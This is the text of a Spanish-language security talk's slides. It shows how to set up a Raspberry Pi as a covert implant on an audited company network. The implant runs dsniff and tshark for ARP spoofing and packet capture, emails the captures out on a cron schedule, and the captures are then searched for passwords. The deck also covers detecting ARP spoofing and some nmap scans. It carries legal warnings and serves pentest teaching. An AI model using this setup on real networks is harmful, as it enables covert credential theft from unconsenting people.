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Sobre mí 
• Security Consultant SVT Cloud Services 
• Tec. Superior Admón. Sistemas Informáticos. 
• Tec. Superior Telecomunicaciones. 
• Técnico en Seguridad de Redes. 
• Colaborador/ Webadmin de www.hacking‐etico.com desde 2010 
• Organizador y Ponente Hack&Beers 
• Community Manager en la Web 2.0 
•           @ManoloGaritmo // @Hacking_etico 
• www.svtcloud.com // www.hacking-etico.com 



Rasp… ¿Qué? 

• “Es un ordenador de placa reducida o (placa única) (SBC) de bajo 
coste, desarrollado en Reino Unido por la Fundación Raspberry Pi, 
con el objetivo de estimular la enseñanza de ciencias de la 
computación en las escuelas. 

• Broadcom BCM2835, que contiene un procesador central (CPU) 
ARM1176JZF-S a 700 MHz (OC) 

• Procesador gráfico (GPU) VideoCore IV 
• 512 MiB de memoria RAM (Ver. A => 256 MiB).  



Rasp…¿Qué? 

Modelo B Modelo B+ 



Rasp…¿Qué? Raspberry Pi 

•PoC (Prueba de Concepto) 

Configurar este “juguetito” para dejarlo 
conectado en empresa a auditar para 
obtener credenciales del gerente.  



Rasp…¿Qué? Raspberry Pi 



Idea 



¡¡¡ Ojo !!! 

• Estas pruebas se han realizado en un entorno controlado y 
de nuestra propiedad. En ningún caso se han utilizado redes 
ajenas para la demostración. 

• Es completamente ILEGAL utilizar técnicas de intrusión y/o 
obtención de contraseñas en redes que no son de nuestra 
propiedad. De hacerlo incurriríamos en un delito. 



Premisas 

• Distribución Linux a usar. RASPBIAN(basada en Debian). 
• Obviaremos la instalación del S.O. (Por tiempo) 
• Conexión SSH a IP 192.168.1.200 (Posibilidad 

HDMI+TECLADO) 
• Añadir repositorios: 

• deb http://archive.raspbian.org/raspbian wheezy main contrib non-free 
• deb-src http://archive.raspbian.org/raspbian wheezy main contrib non-free 

• sudo apt-get update && sudo apt-get upgrade 
 

 



Premisas 

• sudo apt-get install dsniff –y 
 

• sudo apt-get install tshark –y 
 

• sudo apt-get install ssmtp mailutils mpack 
 

• sudo nano /etc/ssmtp/ssmtp.conf 
 

 



Envío de emails 



Prueba de envío & recepción 

 



Adjuntando archivos 

• sudo nano /home/pi/svt.txt  (CTRL+O – CTRL+X) 
• mpack -s “test” /home/pi/svt.txt micorreo@mail.com 

 
 

mailto:micorreo@mail.com


Instalar “Sniffer” 

•Capturando paquetes con: 
 

tshark -nni eth0 -a filesize:20 -a files:2 -w 
nombrefichero.pcap 

 
 

 
 



Posibles errores 

 
• sudo nano /usr/share/wireshark/init.lua 

 
 



Automatizando proceso 

 
 
• Creación de un script para automatizar el proceso. 
• Añadir script al CRON para que sea autónomo. 

30 08 * * * root /home/pi/miscript.sh 
 



Ejemplo de script 



Ejemplo de script 



Información enviada 

  



A tener en cuenta 

• El éxito depende de diversos factores. 
• Este ataque ralentiza la red/equipo. 
• Se limita el tamaño de la captura y spoofing para no saturar la red. 
• El ataque es detectable de ahí también que se lance poco tiempo. 
•       Es ILEGAL hacerlo en redes ajenas. 



Buscando contraseñas 

• Ficheros: pcap y .log 
• PCAP => Wireshark 
• .LOG => Notepad++ 



Buscando credenciales 

•Búsqueda de patrones concretos 
•Correos (@Hotmail @gmail…) 
•Nombres determinantes: “pass” “passwords” 
“user” 

•Filtrado por protocolo: http 



Con Wireshark 



Con Wireshark 



Con Notepad++ 



Aún hay más… 

•Leer correos recibidos de la cuenta atacada. 
•Credenciales a otros servicios contenidas dentro 
del correo. 

•Leer datos confidenciales (Aunque son 
nuestros… :P) 
 
 



Más credenciales 



O_o 

  



Identificar ataque ARP 

• arp –v para ver las tablas ARP 
• Dos ips con misma MAC puede advertir ARP SPOOFING 

 



Identificar ataque ARP 

• Lentitud de navegación 
• Cambio de protocolo https  http 

 



God Job!! 



Ideas… 

• Añadiendo funcionalidades: 
• Un nmap que nos escanee regularmente la red y nos mande al correo los 

resultados.  
• Usando modo Insane que analiza la red sin hacer mucho “ruido”. 

   nmap -T5 192.168.1.0/24 

 



Complementando 

• Añadiendo funcionalidades: 
• Escaneando más de los 1024 puertos que escanea nmap por defecto. 

nmap -p 25,80,1000-4000 192.168.1.1 
 

 



Complementando 

• Puertos por los que se están ejecutando determinados servicios. 
 nmap -sV -O -p 22,25,3306 192.168.1.39 

    

 
 



  

 

MUCHAS GRACIAS 



  

 

shutdown –h now 
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